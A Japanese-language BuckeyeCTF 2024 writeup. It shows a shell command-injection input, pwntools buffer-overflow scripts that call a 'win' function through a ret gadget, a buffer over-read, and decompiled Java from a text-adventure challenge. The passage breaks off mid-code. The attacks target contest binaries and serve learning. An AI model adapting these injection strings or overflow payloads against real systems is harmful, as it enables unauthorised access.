BuckeyeCTF 2024 Writeup

この大会は2024/9/28 5:00(JST)~2024/9/30 5:00(JST)に開催されました。
今回もチームで参戦。結果は1289点で648チーム中85位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity (misc)

Discordに入り、#sanityチャネルのメッセージを見ると、フラグが書いてあった。

bctf{rh0mbu5_d15c0rd_04u7h_15_c00l}

runway0 (beginner-pwn)

OSコマンドインジェクションができる。

$ nc challs.pwnoh.io 13400
Give me a message to say!
a"; ls; echo "b
 ___
< a >
 ---
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
flag.txt
run
b

$ nc challs.pwnoh.io 13400
Give me a message to say!
a"; cat flag.txt; echo "\nb
 ___
< a >
 ---
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
bctf{0v3rfl0w_th3_M00m0ry_2d310e3de286658e}
b
bctf{0v3rfl0w_th3_M00m0ry_2d310e3de286658e}

runway1 (beginner-pwn)

$ checksec --file=runway1
[*] '/mnt/hgfs/Shared/runway1'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

BOFでwin関数をコールする。

$ ROPgadget --binary ./runway1 | grep ": ret"
0x0804900e : ret
0x0804917b : ret 0xe8c1
0x080492dc : retf 0xfac1
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.pwnoh.io', 13401)
else:
    p = process('./runway1')

elf = ELF('./runway1')

ret_addr = 0x0804900e
win_addr = elf.symbols['win']

payload = b'A' * 72
payload += p32(ret_addr)
payload += p32(win_addr)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challs.pwnoh.io on port 13401: Done
[*] '/mnt/hgfs/Shared/runway1'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
What is your favorite food?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0e\x90\x04\x08\xe6\x91\x04\x08'
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
bctf{I_34t_fl4GS_4_bR34kf4st_7c639e33ffcfe8c2}
bctf{I_34t_fl4GS_4_bR34kf4st_7c639e33ffcfe8c2}

color (beginner-pwn)

FAVORITE_COLORの32バイトのバッファの後ろにFLAGのバッファがあるので、任意の32バイトを入力すれば、フラグと合わせて出力される。

$ nc challs.pwnoh.io 13370
What's your favorite color? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabctf{1_d0n7_c4r3_571ll_4_m1d_c010r}!?!? Mid af color
bctf{1_d0n7_c4r3_571ll_4_m1d_c010r}

runway2 (beginner-pwn)

$ checksec --file=runway2
[*] '/mnt/hgfs/Shared/runway2'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

BOFで引数のスタックの積み方に注意して、win関数をコールする。

$ ROPgadget --binary ./runway2 | grep ": ret"
0x0804900e : ret
0x0804919b : ret 0xe8c1
0x080493be : retf 0xfac1
0x08049402 : retf 0xfffc
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.pwnoh.io', 13402)
else:
    p = process('./runway2')

elf = ELF('./runway2')

ret_addr = 0x0804900e
win_addr = elf.symbols['win']
check = 0xc0ffee
mate = 0x007ab1e

payload = b'A' * 24
payload += p32(ret_addr)
payload += p32(win_addr)
payload += p32(0)
payload += p32(check)
payload += p32(mate)

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challs.pwnoh.io on port 13402: Done
[*] '/mnt/hgfs/Shared/runway2'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
Pop quiz!
What is 6 - 23?
b'AAAAAAAAAAAAAAAAAAAAAAAA\x0e\x90\x04\x08\x06\x92\x04\x08\x00\x00\x00\x00\xee\xff\xc0\x00\x1e\xab\x07\x00'
You win! Here is your shell:
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
bctf{I_m1sS_4r1thm3t1c_qu1ZZ3s_2349adb53baa2955}
bctf{I_m1sS_4r1thm3t1c_qu1ZZ3s_2349adb53baa2955}

text-adventure (rev)

jarファイルをjd-guiで開き、デコンパイルする。

public class AcrossRiver extends Room {
  private boolean hasSword = true;
  
  public AcrossRiver(Room prevRoom) {
    this.previousRoom = prevRoom;
  }
  
  public void enter() {
    if (this.hasSword) {
      System.out.println("It looks like there was once a battle here, long ago. You see the remains of a knight, still clothed in armor. A slightly-rusted sword lies across his lap.");
    } else {
      System.out.println("It looks like there was once a battle here, long ago. You still the remains of the knight whose sword you took.");
    } 
    while (true) {
      String input = getInput();
      String str1;
      switch ((str1 = input.toLowerCase()).hashCode()) {
        case -1906921030:
          if (!str1.equals("use the rope"))
            break; 
          System.out.println("You throw the rope again, and swing back to the other side.");
          this.previousRoom.enter();
          continue;
        case -1817454439:
          if (!str1.equals("pick up armor"))
            break; 
          System.out.println("You probably won't need that.");
          continue;
        case -1800680105:
          if (!str1.equals("pick up sword"))
            break; 
          if (this.hasSword) {
            System.out.println("Seems a shame to leave a fine sword to rust like that... It would be better off with you.");
            Player.instance.equipItem("sword");
            this.hasSword = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
        case -1506632735:
          if (!str1.equals("swing across"))
            break; 
          System.out.println("You throw the rope again, and swing back to the other side.");
          this.previousRoom.enter();
          continue;
        case -1328913207:
          if (!str1.equals("swing back"))
            break; 
          System.out.println("You throw the rope again, and swing back to the other side.");
          this.previousRoom.enter();
          continue;
        case -341309461:
          if (!str1.equals("use rope"))
            break; 
          System.out.println("You throw the rope again, and swing back to the other side.");
          this.previousRoom.enter();
          continue;
        case 3083764:
          if (!str1.equals("dive"))
            break; 
          System.out.println("The water's moving too fast for you to swim across.");
          continue;
        case 3543688:
          if (!str1.equals("swim"))
            break; 
          System.out.println("The water's moving too fast for you to swim across.");
          continue;
        case 102846135:
          if (!str1.equals("leave"))
            break; 
          System.out.println("You throw the rope again, and swing back to the other side.");
          this.previousRoom.enter();
          continue;
        case 109854462:
          if (!str1.equals("swing"))
            break; 
          System.out.println("You throw the rope again, and swing back to the other side.");
          this.previousRoom.enter();
          continue;
        case 134002975:
          if (!str1.equals("go back"))
            break; 
          System.out.println("You throw the rope again, and swing back to the other side.");
          this.previousRoom.enter();
          continue;
        case 681711211:
          if (!str1.equals("grab armor"))
            break; 
          System.out.println("You probably won't need that.");
          continue;
        case 698485545:
          if (!str1.equals("grab sword"))
            break; 
          if (this.hasSword) {
            System.out.println("Seems a shame to leave a fine sword to rust like that... It would be better off with you.");
            Player.instance.equipItem("sword");
            this.hasSword = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
        case 1378416975:
          if (!str1.equals("equip armor"))
            break; 
          System.out.println("You probably won't need that.");
          continue;
        case 1395191309:
          if (!str1.equals("equip sword"))
            break; 
          if (this.hasSword) {
            System.out.println("Seems a shame to leave a fine sword to rust like that... It would be better off with you.");
            Player.instance.equipItem("sword");
            this.hasSword = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
        case 1699735654:
          if (!str1.equals("take armor"))
            break; 
          System.out.println("You probably won't need that.");
          continue;
        case 1716509988:
          if (!str1.equals("take sword"))
            break; 
          if (this.hasSword) {
            System.out.println("Seems a shame to leave a fine sword to rust like that... It would be better off with you.");
            Player.instance.equipItem("sword");
            this.hasSword = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
      } 
      System.out.println("Can't do that.");
    } 
  }
}

public class Bridge extends Room {
  private Room crystalRoom = new CrystalRoom(this);
  
  public Bridge(Room prevRoom) {
    this.previousRoom = prevRoom;
  }
  
  public void enter() {
    if (!Player.instance.hasItem("torch")) {
      darkRoom();
    } else {
      System.out.println("You find yourself standing at the edge of an unfathomable chasm! Far off, you can hear fast running water below.\nThere lies a stone bridge spanning the gap, but it's little more than a few feet wide. It arches away from you, and disappears into the darkness.\nThe main hall lies behind you.");
      while (true) {
        String input = getInput();
        String str1;
        switch ((str1 = input.toLowerCase()).hashCode()) {
          case -1746062856:
            if (!str1.equals("cross the bridge"))
              break; 
            System.out.println("You slowly edge out on to the bridge... holding your breath...");
            System.out.println("...and eventually make it to the other side. Uh, good job.");
            this.crystalRoom.enter();
            continue;
          case -341309461:
            if (!str1.equals("use rope"))
              break; 
            System.out.println("The rope isn't long enough to get you to the bottom of the chasm.");
            continue;
          case -256874883:
            if (!str1.equals("jump off"))
              break; 
            System.out.println("You wouldn't survive a fall from this height.");
            continue;
          case -98487625:
            if (!str1.equals("go across"))
              break; 
            System.out.println("You slowly edge out on to the bridge... holding your breath...");
            System.out.println("...and eventually make it to the other side. Uh, good job.");
            this.crystalRoom.enter();
            continue;
          case 3273774:
            if (!str1.equals("jump"))
              break; 
            System.out.println("You wouldn't survive a fall from this height.");
            continue;
          case 3506418:
            if (!str1.equals("rope"))
              break; 
            System.out.println("The rope isn't long enough to get you to the bottom of the chasm.");
            continue;
          case 94935104:
            if (!str1.equals("cross"))
              break; 
            System.out.println("You slowly edge out on to the bridge... holding your breath...");
            System.out.println("...and eventually make it to the other side. Uh, good job.");
            this.crystalRoom.enter();
            continue;
          case 102080182:
            if (!str1.equals("walk across"))
              break; 
            System.out.println("You slowly edge out on to the bridge... holding your breath...");
            System.out.println("...and eventually make it to the other side. Uh, good job.");
            this.crystalRoom.enter();
            continue;
          case 102846135:
            if (!str1.equals("leave"))
              break; 
            System.out.println("You return to the hall you entered through.");
            this.previousRoom.enter();
            continue;
          case 134002975:
            if (!str1.equals("go back"))
              break; 
            System.out.println("You return to the hall you entered through.");
            this.previousRoom.enter();
            continue;
          case 134182001:
            if (!str1.equals("go hall"))
              break; 
            System.out.println("You return to the hall you entered through.");
            this.previousRoom.enter();
            continue;
          case 1797592917:
            if (!str1.equals("go to the hall"))
              break; 
            System.out.println("You return to the hall you entered through.");
            this.previousRoom.enter();
            continue;
        } 
        System.out.println("Can't do that.");
      } 
    } 
  }
}

public class CaveEnterance extends Room {
  Room entryHall = new EntryHall(this);
  
  public void enter() {
    System.out.println("You find yourself standing at the opening of a vast, mysterious cave. The entrance looms before you, awaiting.");
    while (true) {
      String input = getInput();
      String str1;
      switch ((str1 = input.toLowerCase()).hashCode()) {
        case 96667352:
          if (!str1.equals("enter"))
            break; 
          System.out.println("You feel the air grow cool as you pass through the threshold into the depths...");
          this.entryHall.enter();
          continue;
        case 98463581:
          if (!str1.equals("go in"))
            break; 
          System.out.println("You feel the air grow cool as you pass through the threshold into the depths...");
          this.entryHall.enter();
          continue;
        case 102846135:
          if (!str1.equals("leave"))
            break; 
          System.out.println("Go back? GO BACK? You cannot go back. Your fate is fixed; you have no choice.");
          continue;
        case 134002975:
          if (!str1.equals("go back"))
            break; 
          System.out.println("Go back? GO BACK? You cannot go back. Your fate is fixed; you have no choice.");
          continue;
      } 
      System.out.println("Can't do that.");
    } 
  }
}

public class CrystalRoom extends Room {
  private boolean hasRope = true;
  
  public CrystalRoom(Room prevRoom) {
    this.previousRoom = prevRoom;
  }
  
  public void enter() {
    System.out.println("On the other side of the bridge, you come upon a cavern covered in glistening pink crystals!\nSome are so large you can see your reflection in them as they glisten from your torchlight.\nSome of the crystals look mined away, but you don't see any sort of pickaxe. All that remains of the mining operation is a bundle of rope.");
    while (true) {
      String input = getInput();
      String str1;
      switch ((str1 = input.toLowerCase()).hashCode()) {
        case -1640073658:
          if (!str1.equals("grab rope"))
            break; 
          if (this.hasRope) {
            Player.instance.equipItem("rope");
            this.hasRope = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
        case -1063409950:
          if (!str1.equals("equip rope"))
            break; 
          if (this.hasRope) {
            Player.instance.equipItem("rope");
            this.hasRope = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
        case -889407912:
          if (!str1.equals("pick up rope"))
            break; 
          if (this.hasRope) {
            Player.instance.equipItem("rope");
            this.hasRope = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
        case 102846135:
          if (!str1.equals("leave"))
            break; 
          System.out.println("You brave the bridge once again...");
          System.out.println("...and again, safely make it across. Surefooted as they come.");
          this.previousRoom.enter();
          continue;
        case 134002975:
          if (!str1.equals("go back"))
            break; 
          System.out.println("You brave the bridge once again...");
          System.out.println("...and again, safely make it across. Surefooted as they come.");
          this.previousRoom.enter();
          continue;
        case 1440807147:
          if (!str1.equals("take rope"))
            break; 
          if (this.hasRope) {
            Player.instance.equipItem("rope");
            this.hasRope = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
      } 
      System.out.println("Can't do that.");
    } 
  }
}

public class DeadEnd extends Room {
  private MagicOrb flag = new MagicOrb();
  
  public DeadEnd(Room prevRoom) {
    this.previousRoom = prevRoom;
  }
  
  public void enter() {
    System.out.println("It appears to be a dead end.");
    while (true) {
      String input = getInput();
      String str1;
      switch ((str1 = input.toLowerCase()).hashCode()) {
        case -1388976959:
          if (!str1.equals("reach through the crack in the rocks"))
            break; 
          System.out.println("What? What crack in the rocks?");
          input = getInput();
          if (input.equals("the crack in the rocks concealing the magical orb with the flag")) {
            System.out.println("There's a crack in the --? Well, it seems you know more about this world than I do. Happy hacking!");
            try {
              this.flag.printFlag();
            } catch (Exception e) {
              System.out.println("Hmm.... it seems the magical orb has decided to give you nothing. How strange.");
            } 
          } 
          continue;
        case 102846135:
          if (!str1.equals("leave"))
            break; 
          System.out.println("You return back to the room you came through.");
          this.previousRoom.enter();
          continue;
        case 134002975:
          if (!str1.equals("go back"))
            break; 
          System.out.println("You return back to the room you came through.");
          this.previousRoom.enter();
          continue;
      } 
      System.out.println("Can't do that.");
    } 
  }
}

public class EntryHall extends Room {
  Room spiderHall = new SpiderHallway(this);
  
  Room stairway = new StairwayTop(this);
  
  Room bridge = new Bridge(this);
  
  boolean hasTorch = true;
  
  public EntryHall(Room previousRoom) {
    this.previousRoom = previousRoom;
  }
  
  public void enter() {
    System.out.print("You find yourself in a central hall.");
    if (this.hasTorch)
      System.out.print(" It is faintly lit by a torch on the leftmost wall."); 
    System.out.println("\nThrough the gloom you barely make out three arches to ongoing passages: one left, one middle, and one right.");
    while (true) {
      String input = getInput();
      String str1;
      switch ((str1 = input.toLowerCase()).hashCode()) {
        case -1799992490:
          if (!str1.equals("pick up torch"))
            break; 
          if (this.hasTorch) {
            Player.instance.equipItem("torch");
            this.hasTorch = false;
            continue;
          } 
          System.out.println("You already picked that up.");
          continue;
        case -125856540:
          if (!str1.equals("go right"))
            break; 
          System.out.println("You pass through the right corridor...");
          this.bridge.enter();
          continue;
        case -39497075:
          if (!str1.equals("go center"))
            break; 
          System.out.println("You pass through the middle corridor...");
          this.stairway.enter();
          continue;
        case 134002975:
          if (!str1.equals("go back"))
            break; 
          System.out.println("You exit back into the light of day beyond the cave.");
          this.previousRoom.enter();
          continue;
        case 134304831:
          if (!str1.equals("go left"))
            break; 
          System.out.println("You pass through the left corridor...");
          this.spiderHall.enter();
          continue;
        case 250175437:
          if (!str1.equals("go middle"))
            break; 
          System.out.println("You pass through the middle corridor...");
          this.stairway.enter();
          continue;
        case 699173160:
          if (!str1.equals("grab torch"))
            break; 
          if (this.hasTorch) {
            Player.instance.equipItem("torch");
            this.hasTorch = false;
            continue;
          } 
          System.out.println("You already picked that up.");
          continue;
        case 1395878924:
          if (!str1.equals("equip torch"))
            break; 
          if (this.hasTorch) {
            Player.instance.equipItem("torch");
            this.hasTorch = false;
            continue;
          } 
          System.out.println("You already picked that up.");
          continue;
        case 1717197603:
          if (!str1.equals("take torch"))
            break; 
          if (this.hasTorch) {
            Player.instance.equipItem("torch");
            this.hasTorch = false;
            continue;
          } 
          System.out.println("You already picked that up.");
          continue;
      } 
      System.out.println("Can't do that.");
    } 
  }
}

public class KeyRoom extends Room {
  private boolean hasKey = true;
  
  public KeyRoom(Room prevRoom) {
    this.previousRoom = prevRoom;
  }
  
  public void enter() {
    if (this.hasKey) {
      System.out.println("You come in to a small room with a glowing pedestal in the center.\nThe light is dazzling, and upon the pedestal lies an ornate key. Neat!");
    } else {
      System.out.println("You come in to a small room with a glowing pedestal in the center.\nYou already picked up the ornate key, but the light is still beautiful.");
    } 
    while (true) {
      String input = getInput();
      String str1;
      switch ((str1 = input.toLowerCase()).hashCode()) {
        case -2106907591:
          if (!str1.equals("pick up key"))
            break; 
          if (this.hasKey) {
            System.out.println("You slowly reach out your hand, wary of any traps you might spring, or eyes that might be watching...");
            System.out.println("...but there aren't any. Easy, right?");
            Player.instance.equipItem("key");
            this.hasKey = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
        case -646266042:
          if (!str1.equals("take key"))
            break; 
          if (this.hasKey) {
            System.out.println("You slowly reach out your hand, wary of any traps you might spring, or eyes that might be watching...");
            System.out.println("...but there aren't any. Easy, right?");
            Player.instance.equipItem("key");
            this.hasKey = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
        case 85634699:
          if (!str1.equals("grab key"))
            break; 
          if (this.hasKey) {
            System.out.println("You slowly reach out your hand, wary of any traps you might spring, or eyes that might be watching...");
            System.out.println("...but there aren't any. Easy, right?");
            Player.instance.equipItem("key");
            this.hasKey = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
        case 102846135:
          if (!str1.equals("leave"))
            break; 
          System.out.println("You exit back into the hall of spiders.");
          this.previousRoom.enter();
          continue;
        case 134002975:
          if (!str1.equals("go back"))
            break; 
          System.out.println("You exit back into the hall of spiders.");
          this.previousRoom.enter();
          continue;
        case 1074068079:
          if (!str1.equals("equip key"))
            break; 
          if (this.hasKey) {
            System.out.println("You slowly reach out your hand, wary of any traps you might spring, or eyes that might be watching...");
            System.out.println("...but there aren't any. Easy, right?");
            Player.instance.equipItem("key");
            this.hasKey = false;
            continue;
          } 
          System.out.println("You already did that.");
          continue;
      } 
      System.out.println("Can't do that.");
    } 
  }
}

public class River extends Room {
  private Room acrossRiver = new AcrossRiver(this);
  
  public River(Room prevRoom) {
    this.previousRoom = prevRoom;
  }
  
  public void enter() {
    System.out.println("You find yourself alongside a great rushing underground river!\nThe remains of a broken bridge lie torn and rotted. You'll have to find some other way to cross.\nThere's a great root of some tree sticking out from the ceiling, but it's too high for you to reach.\nThe base of the steps lie behind you.");
    while (true) {
      String input = getInput();
      String str1;
      switch ((str1 = input.toLowerCase()).hashCode()) {
        case -1906921030:
          if (!str1.equals("use the rope"))
            break; 
          if (Player.instance.hasItem("rope")) {
            System.out.println("You throw with all your might, and the rope catches on the root! You swing across safely.");
            this.acrossRiver.enter();
            continue;
          } 
          System.out.println("Hmm, that root might hold your weight... if only you had some rope.");
          continue;
        case -1902974149:
          if (!str1.equals("throw the rope"))
            break; 
          if (Player.instance.hasItem("rope")) {
            System.out.println("You throw with all your might, and the rope catches on the root! You swing across safely.");
            this.acrossRiver.enter();
            continue;
          } 
          System.out.println("Hmm, that root might hold your weight... if only you had some rope.");
          continue;
        case -1506632735:
          if (!str1.equals("swing across"))
            break; 
          if (Player.instance.hasItem("rope")) {
            System.out.println("You throw with all your might, and the rope catches on the root! You swing across safely.");
            this.acrossRiver.enter();
            continue;
          } 
          System.out.println("Hmm, that root might hold your weight... if only you had some rope.");
          continue;
        case -341309461:
          if (!str1.equals("use rope"))
            break; 
          if (Player.instance.hasItem("rope")) {
            System.out.println("You throw with all your might, and the rope catches on the root! You swing across safely.");
            this.acrossRiver.enter();
            continue;
          } 
          System.out.println("Hmm, that root might hold your weight... if only you had some rope.");
          continue;
        case -331929108:
          if (!str1.equals("throw rope"))
            break; 
          if (Player.instance.hasItem("rope")) {
            System.out.println("You throw with all your might, and the rope catches on the root! You swing across safely.");
            this.acrossRiver.enter();
            continue;
          } 
          System.out.println("Hmm, that root might hold your weight... if only you had some rope.");
          continue;
        case -124606993:
          if (!str1.equals("go steps"))
            break; 
          System.out.println("You return to the base of the steps.");
          this.previousRoom.enter();
          continue;
        case -98476149:
          if (!str1.equals("go to the steps"))
            break; 
          System.out.println("You return to the base of the steps.");
          this.previousRoom.enter();
          continue;
        case 3083764:
          if (!str1.equals("dive"))
            break; 
          System.out.println("The water's moving too fast for you to swim across.");
          continue;
        case 3273774:
          if (!str1.equals("jump"))
            break; 
          System.out.println("Too far to jump.");
          continue;
        case 3543688:
          if (!str1.equals("swim"))
            break; 
          System.out.println("The water's moving too fast for you to swim across.");
          continue;
        case 102846135:
          if (!str1.equals("leave"))
            break; 
          System.out.println("You return to the base of the steps.");
          this.previousRoom.enter();
          continue;
        case 109854462:
          if (!str1.equals("swing"))
            break; 
          if (Player.instance.hasItem("rope")) {
            System.out.println("You throw with all your might, and the rope catches on the root! You swing across safely.");
            this.acrossRiver.enter();
            continue;
          } 
          System.out.println("Hmm, that root might hold your weight... if only you had some rope.");
          continue;
        case 134002975:
          if (!str1.equals("go back"))
            break; 
          System.out.println("You return to the base of the steps.");
          this.previousRoom.enter();
          continue;
      } 
      System.out.println("Can't do that.");
    } 
  }
}

public abstract class Room {
  static Scanner scan = new Scanner(System.in);
  
  protected Room previousRoom;
  
  public abstract void enter();
  
  protected static String getInput() {
    System.out.print("\n> ");
    String in = scan.nextLine();
    System.out.print("\n");
    if (in.equals("exit")) {
      System.out.println("Okay, goodbye!");
      scan.close();
      System.exit(0);
    } 
    return in;
  }
  
  protected void darkRoom() {
    System.out.println("It's too dark to see anything!");
    while (true) {
      String input = getInput();
      String str1;
      switch ((str1 = input.toLowerCase()).hashCode()) {
        case 102846135:
          if (!str1.equals("leave"))
            break; 
          System.out.println("You exit back into the hall you came through.");
          this.previousRoom.enter();
          continue;
        case 134002975:
          if (!str1.equals("go back"))
            break; 
          System.out.println("You exit back into the hall you came through.");
          this.previousRoom.enter();
          continue;
      } 
      System.out.println("Can't do that.");
    } 
  }
}

ublic class SealedDoor extends Room {
  private Room deadEnd = new DeadEnd(this);
  
  private boolean locked = true;
  
  public SealedDoor(Room prevRoom) {
    this.previousRoom = prevRoom;
  }
  
  public void enter() {
    if (this.locked) {
      lockedRoom();
    } else {
      unlockedRoom();
    } 
  }
  
  private void lockedRoom() {
    if (this.locked) {
      System.out.println("You enter a small room, with stone close all around you. Before you lies a door sealed with a large lock.\nBehind you lie the base of the steps.");
    } else {
      System.out.println("You return to the small room, with stone close all around you. Before you lies a great door, but it's unlocked now.\nBehind you lie the base of the steps.");
    } 
    while (true) {
      String input = getInput();
      String str1;
      switch ((str1 = input.toLowerCase()).hashCode()) {
        case -1989222567:
          if (!str1.equals("unlock the door"))
            break; 
          if (Player.instance.hasItem("key")) {
            System.out.println("You fit the key into the lock, and slowly start to turn it...");
            System.out.println("It works! The lock falls away and you pass through the door.");
            this.locked = false;
            this.deadEnd.enter();
            continue;
          } 
          System.out.println("Looks like you'll have to find a key.");
          continue;
        case -920183030:
          if (!str1.equals("unlock door"))
            break; 
          if (Player.instance.hasItem("key")) {
            System.out.println("You fit the key into the lock, and slowly start to turn it...");
            System.out.println("It works! The lock falls away and you pass through the door.");
            this.locked = false;
            this.deadEnd.enter();
            continue;
          } 
          System.out.println("Looks like you'll have to find a key.");
          continue;
        case -840442044:
          if (!str1.equals("unlock"))
            break; 
          if (Player.instance.hasItem("key")) {
            System.out.println("You fit the key into the lock, and slowly start to turn it...");
            System.out.println("It works! The lock falls away and you pass through the door.");
            this.locked = false;
            this.deadEnd.enter();
            continue;
          } 
          System.out.println("Looks like you'll have to find a key.");
          continue;
        case -124606993:
          if (!str1.equals("go steps"))
            break; 
          System.out.println("You return to the base of the steps.");
          this.previousRoom.enter();
          continue;
        case -98476149:
          if (!str1.equals("go to the steps"))
            break; 
          System.out.println("You return to the base of the steps.");
          this.previousRoom.enter();
          continue;
        case 102846135:
          if (!str1.equals("leave"))
            break; 
          System.out.println("You return to the base of the steps.");
          this.previousRoom.enter();
          continue;
        case 134002975:
          if (!str1.equals("go back"))
            break; 
          System.out.println("You return to the base of the steps.");
          this.previousRoom.enter();
          continue;
        case 1153113875:
          if (!str1.equals("open the door"))
            break; 
          System.out.println("It's, uh, locked.");
          continue;
        case 1487686596:
          if (!str1.equals("open door"))
            break; 
          System.out.println("It's, uh, locked.");
          continue;
      } 
      System.out.println("Can't do that.");
    } 
  }
  
  private void unlockedRoom() {
    // Byte code:
    //   0: getstatic java/lang/System.out : Ljava/io/PrintStream;
    //   3: ldc 'You enter a small room with stone close all around. Before you lies the door you unlocked.'
    //   5: invokevirtual println : (Ljava/lang/String;)V
    //   8: invokestatic getInput : ()Ljava/lang/String;
    //   11: astore_1
    //   12: aload_1
    //   13: invokevirtual toLowerCase : ()Ljava/lang/String;
    //   16: dup
    //   17: astore_2
    //   18: invokevirtual hashCode : ()I
    //   21: lookupswitch default -> 145, 96667352 -> 64, 102846135 -> 76, 134002975 -> 88, 1067699085 -> 100
    //   64: aload_2
    //   65: ldc 'enter'
    //   67: invokevirtual equals : (Ljava/lang/Object;)Z
    //   70: ifne -> 112
    //   73: goto -> 145
    //   76: aload_2
    //   77: ldc 'leave'
    //   79: invokevirtual equals : (Ljava/lang/Object;)Z
    //   82: ifne -> 127
    //   85: goto -> 145
    //   88: aload_2
    //   89: ldc 'go back'
    //   91: invokevirtual equals : (Ljava/lang/Object;)Z
    //   94: ifne -> 127
    //   97: goto -> 145
    //   100: aload_2
    //   101: ldc 'go through'
    //   103: invokevirtual equals : (Ljava/lang/Object;)Z
    //   106: ifne -> 112
    //   109: goto -> 145
    //   112: getstatic java/lang/System.out : Ljava/io/PrintStream;
    //   115: ldc 'You enter back through the door...'
    //   117: invokevirtual println : (Ljava/lang/String;)V
    //   120: aload_0
    //   121: getfield deadEnd : Lrooms/Room;
    //   124: invokevirtual enter : ()V
    //   127: getstatic java/lang/System.out : Ljava/io/PrintStream;
    //   130: ldc 'You return back to the base of the steps.'
    //   132: invokevirtual println : (Ljava/lang/String;)V
    //   135: aload_0
    //   136: getfield previousRoom : Lrooms/Room;
    //   139: invokevirtual enter : ()V
    //   142: goto -> 8
    //   145: getstatic java/lang/System.out : Ljava/io/PrintStream;
    //   148: ldc 'Can't do that.'
    //   150: invokevirtual println : (Ljava/lang/String;)V
    //   153: goto -> 8
    // Line number table:
    //   Java source line number -> byte code offset
    //   #65	-> 0
    //   #67	-> 8
    //   #68	-> 12
    //   #71	-> 112
    //   #72	-> 120
    //   #75	-> 127
    //   #76	-> 135
    //   #77	-> 142
    //   #79	-> 145
    //   #66	-> 153
    // Local variable table:
    //   start	length	slot	name	descriptor
    //   0	156	0	this	Lrooms/SealedDoor;
    //   12	141	1	input	Ljava/lang/String;
  }
}

public class SpiderHallway extends Room {
  Room keyRoom = new KeyRoom(this);
  
  private boolean websCut = false;
  
  public SpiderHallway(Room prevRoom) {
    this.previousRoom = prevRoom;
  }
  
  public void enter() {
    if (!Player.instance.hasItem("torch")) {
      darkRoom();
    } else {
      if (!this.websCut) {
        System.out.println("You come upon a long hallway, the walls covered by thick webs. Thousands of little legs seem to scurry away from your torch's light.\nYou notice a door at the end of the hall, completely covered in webs. You'll need someting sharp to get cut through it.");
      } else {
        System.out.println("You return to the long hall, still covered in webs. The door is free, now, though. You feel like hundreds of tiny eyes are watching your every move.\nThe main hall lies behind you.");
      } 
      while (true) {
        String input = getInput();
        String str1;
        switch ((str1 = input.toLowerCase()).hashCode()) {
          case -2007890096:
            if (!str1.equals("burn webs"))
              break; 
            System.out.println("You can't seem to get them to light. Must be some kind of magic...");
            continue;
          case -567175905:
            if (!str1.equals("burn the webs"))
              break; 
            System.out.println("You can't seem to get them to light. Must be some kind of magic...");
            continue;
          case 98882:
            if (!str1.equals("cut"))
              break; 
            if (!this.websCut) {
              if (Player.instance.hasItem("sword")) {
                System.out.println("The sword slices right through the webs! You're able to cut away the door and get through.");
                this.websCut = true;
                this.keyRoom.enter();
                continue;
              } 
              System.out.println("With what, your hands?");
              continue;
            } 
            System.out.println("You already did that.");
            continue;
          case 102846135:
            if (!str1.equals("leave"))
              break; 
            System.out.println("You exit back into the hall you first entered in.");
            this.previousRoom.enter();
            continue;
          case 134002975:
            if (!str1.equals("go back"))
              break; 
            System.out.println("You exit back into the hall you first entered in.");
            this.previousRoom.enter();
            continue;
          case 134182001:
            if (!str1.equals("go hall"))
              break; 
            System.out.println("You exit back into the hall you first entered in.");
            this.previousRoom.enter();
            continue;
          case 239250716:
            if (!str1.equals("burn it"))
              break; 
            System.out.println("You can't seem to get them to light. Must be some kind of magic...");
            continue;
          case 359614183:
            if (!str1.equals("cut through"))
              break; 
            if (!this.websCut) {
              if (Player.instance.hasItem("sword")) {
                System.out.println("The sword slices right through the webs! You're able to cut away the door and get through.");
                this.websCut = true;
                this.keyRoom.enter();
                continue;
              } 
              System.out.println("With what, your hands?");
              continue;
            } 
            System.out.println("You already did that.");
            continue;
          case 556903116:
            if (!str1.equals("cut door"))
              break; 
            if (!this.websCut) {
              if (Player.instance.hasItem("sword")) {
                System.out.println("The sword slices right through the webs! You're able to cut away the door and get through.");
                this.websCut = true;
                this.keyRoom.enter();
                continue;
              } 
              System.out.println("With what, your hands?");
              continue;
            } 
            System.out.println("You already did that.");
            continue;
          case 557459133:
            if (!str1.equals("cut webs"))
              break; 
            if (!this.websCut) {
              if (Player.instance.hasItem("sword")) {
